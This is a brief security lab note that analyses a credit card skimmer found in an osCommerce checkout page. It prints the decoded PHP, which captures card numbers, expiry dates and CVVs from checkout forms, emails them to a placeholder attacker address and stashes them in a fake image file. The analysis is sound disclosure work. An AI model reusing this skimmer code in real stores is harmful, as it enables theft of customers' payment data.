Credit Card Stealer on osCommerce

Labs Note

We regularly detect malware that targets payment modules on compromised ecommerce websites, mainly on Magento.

Recently we’ve stumbled upon the same threat on osCommerce. The malicious code was found inside ./catalog/checkout_confirmation.php and used obfuscation as below:


When decoded, the code appeared to be a credit card stealer. The code sends a copy of stolen credit card information to attacker’s email and saves it inside an image file for backup purposes. This happens every time customers submit their payment details during the checkout process:

$recipient = "<attacker’s-email-address>";$subject = "www.<compromised-site>.com";$mailheaders = "From: www.<compromised-site>.com <sales@ www.<compromised-site>.com >";$address4 = tep_address_format($order->billing['format_id'], $order->billing, 1, ' ', '<br>');$ip = getenv("REMOTE_ADDR");…$message .= "Name on card: ".$_POST['cc_owner']." CC: ".$_POST['cc_number']." Exp: ".$_POST['cc_expires_month']         ."/".$_POST['cc_expires_year']." CVV2: ".$_POST['cc_ccv']."n";…mail($recipient, $subject, $message, $mailheaders);$f = fopen('/<path to public directory>/catalog/images/oscommerce2.gif','a');fputs($f, $message . "n"); fclose($f);
